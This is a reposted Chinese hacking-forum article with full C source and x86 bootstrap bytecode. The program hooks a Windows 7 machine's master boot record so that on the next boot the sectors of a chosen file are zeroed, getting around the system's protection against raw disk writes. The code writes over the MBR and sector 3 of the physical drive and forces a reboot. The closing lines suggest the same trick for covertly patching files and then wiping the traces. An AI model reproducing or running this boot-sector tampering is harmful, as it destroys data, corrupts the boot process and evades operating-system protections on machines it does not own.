Hook MBR绕过Win7磁盘防写清零文件

Hook MBR绕过Win7磁盘防写清零文件

文章作者:Styxal@THSS
原始出处:邪恶八进制信息安全团队(www.eviloctal.com)

/*本篇属菜鸟练手之作,大牛飘过即可*/
依照MJ大牛的感叹,“Win7的系统文件防护太强大了”——Ring3下,过去最常用的写磁盘扇区被Win7从各个角度挡住了,只开放前16扇区给我们。(具体见DebugMan,VISTA & WIN7对直接磁盘写入的防护, by MJ0011)
然而,其实我们可以轻易意识到——即便只有16个扇区也足够我们使用了——16扇区有什么呢?最重要的还是1扇区的MBR,MBR负责识别分区、加载DBR等等,总之这个时候可以轻易对磁盘进行操作了,而这个时候Win7的一堆吓死人的防护还没加载。
于是有了下面这个Demo,对MBR进行静态Inline Hook实现对文件的强行清零。
通常用的MBR有两个版本,一新一老;但是不管哪个版本,一上来功能都是一样的:
被Bios加载至0000:7c00->清零ax,ss,es等寄存器->si指向自身0000:7c00,di指向0000:0600,repe movsb拷代码(新版从7c1b开始拷贝,目的地是061b)->段间跳转到0000:061b执行(让出7c00是为了把DBR放进去)
看了下老版和新版MBR的逆向,不管新老,在7c14之前都正好还没开始考代码,7c14又正好都是对齐的新指令,很好,我们的Jmp Code也正好0x14个字节(具体见下面代码)。
于是我们r3程序通过FSCTL_GET_RETRIEVAL_POINTERS得到文件偏移,通过IOCTL_DISK_GET_PARTITION_INFO得到分区偏移,然后打开磁盘读分区BPB里的每簇扇区数,计算出文件的绝对扇区号。然后把原MBR前0x14个字节的代码拷出来放到我们的Hook Code里去,然后把Jmp Code写到MBR去;然后把定位出来的文件绝对扇区号和占用扇区数也写到Hook Code里,最后把Hook Code写到第3扇区。
重启时我们的Jmp Code在0000:7c00调int 13把第3扇区读到0000:0600->远跳转过去执行Hook Code->调int 13把原来的MBR前0x14字节写回0000:7c00覆盖掉Jmp Code->调int 13将7c00的代码写回磁盘第1扇区->调扩展int 13将文件占用扇区逐块清零->跳回0000:7c00继续引导系统启动。
在文件大小上偷懒了~没写对qword长的扇区数的递增,故仅支持31M以下的文件~ 复制内容到剪贴板
代码:
#include <Windows.h>
#include <WinIoCtl.h>

typedef long NTSTATUS;
typedef __int64 LONGLONG;
#define STATUS_SUCCESS 0L


#define CTL_CODE( DeviceType, Function, Method, Access ) (                 \
        ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \
)

#define FILE_DEVICE_FILE_SYSTEM         0x00000009
#define METHOD_NEITHER                  3
#define FILE_ANY_ACCESS                 0
#define FSCTL_GET_RETRIEVAL_POINTERS    CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 28,  METHOD_NEITHER, FILE_ANY_ACCESS) // STARTING_VCN_INPUT_BUFFER, RETRIEVAL_POINTERS_BUFFER

#define MsgBox(a) MessageBox(0, a, 0, 0)
BOOL OpenDlg(LPWSTR szFile, HWND hwnd) {
        OPENFILENAME ofn;
        ZeroMemory(&ofn, sizeof(ofn));
        ofn.lStructSize = sizeof(ofn);
        ofn.hwndOwner = hwnd;
        ofn.lpstrFile = szFile;
        ofn.lpstrFile[0] = '\0';
        ofn.nMaxFile = 256;
        ofn.lpstrFilter = NULL;
        ofn.nFilterIndex = 1;
        ofn.lpstrFileTitle = NULL;
        ofn.nMaxFileTitle = 0;
        ofn.lpstrInitialDir = NULL;
        ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;

        // Display the Open dialog box.
        return GetOpenFileName(&ofn);
}

/*;Coded by Styxal@THSS
0000:7C00 sti                        ;JMP Code in MBR. When flow of control is turned to 0000:7c00,
0000:7C01 mov ax,201                ;from BIOS, it'll read code from sector 3 into 0000:0600 and far
0000:7C04 mov bx,0600                ;jump there.
0000:7C07 mov cx,3
0000:7C0A mov dx,80
0000:7C0D int 13
0000:7C0F xor dl,dl
0000:7C11 push dx
0000:7C12 push bx
0000:7C13 retf
*/        const static UCHAR mbrJmpCode[0x14]= {
        0xFB, 0xB8, 0x01, 0x02, 0xBB, 0x00, 0x06, 0xB9, 0x03, 0x00, 0xBA, 0x80,
        0x00, 0xCD, 0x13, 0x30, 0xD2, 0x52, 0x53, 0xCB
};

/*;Coded by Styxal@THSS
0000:0600 call short 0613                ;push a DataAddressPacket into stack
                                ;struct DiskAddressPacket {  
0000:0603 db 10                        ;        BYTE PacketSize = 0x10;  //Size of DAP
0000:0604 db 00                        ;        BYTE Reserved = 0;
0000:0605 dw 0001                        ;        WORD BlockCount = 1;         //Count of Sectors
0000:0607 dw 0007                        ;        DWORD BufferAddr = 0000:0700;        //here's 512 zeros
0000:0609 dw 0000
0000:060B dw cccc                        ;        QWORD BlockNum = 0xccccccccccccccccL;
0000:060D dw cccc                        ;        //Later the hooker'll replace this count of
0000:060F dw cccc                        ;        //sectors to a real one.
0000:0611 dw cccc                        ;}
0000:0613 call short 0629                ;put the original MBR code here(were to be filled later)
0000:0616 dw dddd
0000:0618 dw dddd
0000:061A dw dddd
0000:061C dw dddd
0000:061E dw dddd
0000:0620 dw dddd
0000:0622 dw dddd
0000:0624 dw dddd
0000:0626 dw dddd
0000:0628 dw dddd
0000:062A cld                        ;restore the hook at 0000:7c00
0000:062B pop si
0000:062C mov di, 7c00
0000:062F mov cx, 14
0000:0632 repe movsb
0000:0634 mov ax, 301                ;and write them into MBR
0000:0637 mov bx, 7c00
0000:063A mov cx, 1
0000:063D mov dx, 80
0000:0640 int 13
0000:0642 mov cx, eeee                ;'eeee' is the count of sectors the file occupied, were to be replaced later
0000:0645 pop si
0000:0646 mov ah, 43                ;use int 13 ext to zero the file
0000:0648 mov al, 0
0000:064A mov dl, 80
0000:064C int 13
0000:064E inc word ptr [si+8]
0000:0651 loop 0646
0000:0653 xor ax, ax
0000:0655 push ax                        ;far jump to 0000:7c00
0000:0656 push bx
0000:0657 retf
*/        const static UCHAR mbrDetourCode[0x58] = {
        0xE8, 0x10, 0x00, 0x10, 0x00, 0x01, 0x00, 0x07, 0x00, 0x00, 0x00, 0xCC,
        0xCC, 0xCC, 0xCC, 0xCC,        0xCC, 0xCC, 0xCC, 0xE8, 0x14, 0x00, 0xDD, 0xDD,
        0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD,        0xDD, 0xDD, 0xDD, 0xDD,
        0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xDD, 0xFC, 0x5E, 0xBF, 0x00, 0x7C, 0xB9,
        0x14, 0x00, 0xF3, 0xA4, 0xB8, 0x01, 0x03, 0xBB, 0x00, 0x7C, 0xB9, 0x01,
        0x00, 0xBA, 0x80, 0x00,        0xCD, 0x13, 0xB9, 0xEE, 0xEE, 0x5E, 0xB4, 0x43,
        0xB0, 0x00, 0xB2, 0x80, 0xCD, 0x13, 0xFF, 0x44,        0x08, 0xE2, 0xF3, 0x31,
        0xC0, 0x50, 0x53, 0xCB
};

int APIENTRY wWinMain(HINSTANCE hInstance,
                                           HINSTANCE hPrevInstance,
                                           LPTSTR    lpCmdLine,
                                           int       nCmdShow) {
        PRETRIEVAL_POINTERS_BUFFER prpb;
        STARTING_VCN_INPUT_BUFFER vib;
        PARTITION_INFORMATION pi;
        UCHAR oRpbBuf[272];
        WCHAR fn[MAX_PATH];
        WCHAR par[7] = {L"\\\\.\\C:"};
        DWORD dataLen;
        UCHAR bpbBuf[512];
        UCHAR mbrBuf[512];
        LARGE_INTEGER FileSec;
        LARGE_INTEGER FileLen;
        DWORD dwFileLen;
        DWORD SecsPerCluster;
        DWORD BytesPerSecs;
        DWORD ClusterSizeInBytes;
        if(!OpenDlg(fn, NULL))
                return 0;
        HANDLE hFile = CreateFile(
                fn,
                GENERIC_READ,
                FILE_SHARE_READ,
                NULL,
                OPEN_EXISTING,
                FILE_FLAG_NO_BUFFERING,
                NULL
        );
        if(!hFile) {
                MsgBox(L"Failed to Open File");
                return 0;
        }
        GetFileSizeEx(hFile, &FileLen);
        if(FileLen.QuadPart > 0x1FFFE00L) {
                MsgBox(L"Too Big File");
                CloseHandle(hFile);
                return 0;
        }
        dwFileLen = FileLen.LowPart;
        vib.StartingVcn.QuadPart = 0L;
        if(!DeviceIoControl(
                hFile,
                FSCTL_GET_RETRIEVAL_POINTERS,
                &vib, sizeof(STARTING_VCN_INPUT_BUFFER),
                oRpbBuf,
                sizeof(oRpbBuf),
                &dataLen,
                NULL
        )) {
                MsgBox(L"Failed to Locate File");
                CloseHandle(hFile);
                return 0;
        }
        prpb = (PRETRIEVAL_POINTERS_BUFFER)oRpbBuf;
        DWORD dwVcnCon = prpb->ExtentCount;
        LARGE_INTEGER startLcn = prpb->Extents[0].Lcn;
        CloseHandle(hFile);
        par[4] = fn[0];
        HANDLE hPartition = CreateFile(
                par,
                GENERIC_READ,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                0
        );
        if(!hPartition) {
                MsgBox(L"Failed to Open Partition");
                return 0;
        }
        if(!DeviceIoControl(
                hPartition,
                IOCTL_DISK_GET_PARTITION_INFO,
                NULL,
                0,
                &pi,
                sizeof(PARTITION_INFORMATION),
                &dataLen,
                NULL
        )) {
                MsgBox(L"Failed to Get Partition Info");
                CloseHandle(hPartition);
                return 0;
        }
        LARGE_INTEGER startPar = pi.StartingOffset;
        CloseHandle(hPartition);
       
        HANDLE hDrive = CreateFile(
                L"\\\\.\\PhysicalDrive0",
                GENERIC_READ | GENERIC_WRITE,
                FILE_SHARE_READ | FILE_SHARE_WRITE,
                NULL,
                OPEN_EXISTING,
                0,
                NULL
        );
        if(!hDrive) {
                MsgBox(L"Failed to Open Drive");
                return 0;
        }
        SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
        ReadFile(hDrive, mbrBuf, sizeof(mbrBuf), &dataLen, NULL);
        SetFilePointer(hDrive, startPar.LowPart, &startPar.HighPart, FILE_BEGIN);
        ReadFile(hDrive, bpbBuf, sizeof(bpbBuf), &dataLen, NULL);
        SecsPerCluster = (DWORD)(bpbBuf[0xD]);
        startLcn.QuadPart *= (LONGLONG)SecsPerCluster;
        BytesPerSecs = (DWORD)(*(USHORT*)(bpbBuf + 0xB));
        startPar.QuadPart /= (LONGLONG)BytesPerSecs;
        FileSec.QuadPart = startPar.QuadPart + startLcn.QuadPart;
        ClusterSizeInBytes = SecsPerCluster * BytesPerSecs - 1;
        dwFileLen = (dwFileLen + ClusterSizeInBytes) & ~ClusterSizeInBytes;
        dwFileLen /= BytesPerSecs;
        PVOID Sector3Buf = calloc(BytesPerSecs, 1);
        if(!Sector3Buf) {
                MsgBox(L"Out of Memory");
                return 0;
        }
        RtlCopyMemory(Sector3Buf, mbrDetourCode, sizeof(mbrDetourCode));
        UCHAR* ptr = (UCHAR*)Sector3Buf;
        while(*ptr != 0xCC) ptr++;
        *(LONGLONG*)ptr = FileSec.QuadPart;
        ptr += 8;
        while(*ptr != 0xDD) ptr++;
        RtlCopyMemory(ptr, mbrBuf, sizeof(mbrJmpCode));
        ptr += sizeof(mbrJmpCode);
        while(*ptr != 0xEE) ptr++;
        *(USHORT*)ptr = (USHORT)dwFileLen;
        RtlCopyMemory(mbrBuf, mbrJmpCode, sizeof(mbrJmpCode));
        SetFilePointer(hDrive, 0, NULL, FILE_BEGIN);
        WriteFile(hDrive, mbrBuf, 512, &dataLen, 0);
        SetFilePointer(hDrive, 3, NULL, FILE_BEGIN);
        WriteFile(hDrive, Sector3Buf, BytesPerSecs, &dataLen, 0);
        free(Sector3Buf);
        CloseHandle(hDrive);
        if(IDYES == MessageBox(NULL, L"Successed! Restart Your System Now?", L"Restart", MB_YESNO))
                ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0);
        return 0;
}实际应用中可以把需要Patch的某个文件的Patch Code放到某个扇区处,然后在MBR掌权时读出来覆盖进去,反正这一重启后MBR还是恢复成原样,再悄悄把Sector 3的内容抹了即可~
/*很虚很弱,大牛飘过*/

摘自红色黑客联盟(www.7747.net) 原文:http://www.7747.net/Article/200909/41626.html

你可能感兴趣的:(Hook MBR绕过Win7磁盘防写清零文件)